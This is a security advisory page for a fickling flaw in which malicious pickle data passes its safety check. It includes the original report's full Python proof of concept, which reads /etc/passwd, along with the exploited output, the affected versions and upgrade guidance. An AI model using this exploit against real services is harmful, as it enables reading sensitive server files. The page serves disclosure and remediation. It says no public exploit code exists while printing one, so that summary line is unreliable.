# GHSA-r48f-3986-4f9c: fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist

> Attackers can bypass fickling's safety checks to read arbitrary files via malicious pickle data, affecting applications using it for secure deserialization.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 13 Mar 2026

## What is GHSA-r48f-3986-4f9c?

GHSA-r48f-3986-4f9c is an unsafe deserialization vulnerability in fickling, published on 13 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

# Our analysis

As stated in the [project's security policy](https://github.com/trailofbits/fickling/security/policy), we also don't consider `UnusedVariables` bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d). 

# Original report

Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load()

### Summary
Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError.

A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load().

### Details
Interpreter.unused_assignments() does not scan the result assignment's RHS

File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242

```python
for statement in self.module_body:
    if isinstance(statement, ast.Assign):
        if (
            len(statement.targets) == 1
            and isinstance(statement.targets[0], ast.Name)
            and statement.targets[0].id == "result"
        ):
            break
        ...
        statement = statement.value
    if statement is not None:
        for node in ast.walk(statement):
            if isinstance(node, ast.Name):
                used.add(node.id)
```

When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement.

The BUILD opcode generates exactly such a non-assignment statement:

```python
# Build.run() generates:
_var4 = _var3                     # Assign  - _var3 added to used
_var4.__setstate__(_var2)         # Expr    - _var2 and _var4 added to used
```

This makes _var2 (the result of the dangerous call) appear in the used set via the __setstate__ expression, so UnusedVariables never flags it.

File: fickling/fickle.py, TupleThree.run(), and siblings

```python
def run(self, interpreter: Interpreter):
    top = interpreter.stack.pop()
    mid = interpreter.stack.pop()
    bot = interpreter.stack.pop()
    interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load()))
    #                                   ^^^^^^^^^^^^^^^^
    #                                   Python tuple, not list
```

Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables.

Demo:

```python
import ast
name = ast.Name(id='_var1', ctx=ast.Load())

# Correct (list elts) - ast.walk finds it
t = ast.Tuple(elts=[name], ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # ['_var1']

# Buggy (tuple elts) - ast.walk finds nothing
t = ast.Tuple(elts=(name,), ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # []
```

#### Combined attack - arbitrary file read

The two bugs combine with the absence of `linecache` and `difflib` from `UNSAFE_IMPORTS`:
```
from linecache import getlines      # not in UNSAFE_IMPORTS
_var0 = getlines('/etc/passwd')     # reads the file
from builtins import enumerate
_var1 = enumerate(_var0)            # _var0 in RHS - added to used
from builtins import dict
_var2 = dict(_var1)                 # _var1 in RHS - added to used; produces {0:'line1',...}
from difflib import Differ
_var3 = Differ()                    # stdlib, not in UNSAFE_IMPORTS
_var4 = _var3
_var4.__setstate__(_var2)           # BUILD Expr - _var2 and _var4 added to used
result = _var3                      # loop breaks here; nothing in defined−used
```

check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().__dict__.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller.

### PoC
`pip install fickling`

```python
#!/usr/bin/env python3
import io
import sys

import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety, Severity
from fickling.loader import load
from fickling.exception import UnsafeFileError

TARGET = "/etc/passwd"

pickled = Pickled([
    op.Proto.create(4),

    op.ShortBinUnicode("linecache"),
    op.ShortBinUnicode("getlines"),
    op.StackGlobal(),
    op.ShortBinUnicode(TARGET),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[0] = _var0 = getlines(TARGET)

    op.Global("builtins enumerate"),
    op.BinGet(0),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[1] = _var1 = enumerate(_var0)

    op.Global("builtins dict"),
    op.BinGet(1),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[2] = _var2 = dict(_var1)

    op.ShortBinUnicode("difflib"),
    op.ShortBinUnicode("Differ"),
    op.StackGlobal(),
    op.EmptyTuple(),
    op.Reduce(),
    op.Memoize(),                   # memo[3] = _var3 = Differ()

    op.BinGet(2),                   # push _var2 as BUILD state
    op.Build(),                     # _var4=_var3; _var4.__setstate__(_var2)

    op.BinGet(3),
    op.Stop(),
])

result = check_safety(pickled)
assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}"
print(f"[+] check_safety verdict : {result.severity.name}  (bypass confirmed)")

buf = io.BytesIO()
pickled.dump(buf)

obj = load(io.BytesIO(buf.getvalue()))
lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)}

print(f"[+] fickling.load() returned : {type(obj).__name__}")
print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n")
for i in sorted(lines):
    print(f"{lines[i]}", end="")
```

### Result

```
[+] check_safety verdict : LIKELY_SAFE  (bypass confirmed)
[+] fickling.load() returned : Differ
[+] /etc/passwd - 58 lines exfiltrated:

    root:x:0:0:root:/root:/usr/bin/zsh
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
    dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
    systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin

```

### Impact
Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API.

Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This

## Which versions are affected by GHSA-r48f-3986-4f9c?

2 open source packages ship an affected version, including fickling.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `fickling` | PyPI | All versions | 0.1.10 |
| `fickling` | PyPI | All versions | 0.1.10 |

## How do I fix GHSA-r48f-3986-4f9c?

Upgrade fickling to 0.1.10 or later.

## Is GHSA-r48f-3986-4f9c being exploited?

There is no known exploitation of GHSA-r48f-3986-4f9c in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-r48f-3986-4f9c and fix it if it is affected.

What it is: GHSA-r48f-3986-4f9c is an unsafe deserialization vulnerability in fickling, published on 13 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-r48f-3986-4f9c in the wild and no public exploit code.

Affected packages and fixed versions:
- fickling (PyPI): affected all versions; fixed in 0.1.10
- fickling (PyPI): affected all versions; fixed in 0.1.10

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-r48f-3986-4f9c/ (Markdown: https://insights.sbomify.com/GHSA-r48f-3986-4f9c/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-r48f-3986-4f9c

---
From sbomify Insights: https://insights.sbomify.com/GHSA-r48f-3986-4f9c/
Summaries are generated and may contain mistakes; the official description above is the record.
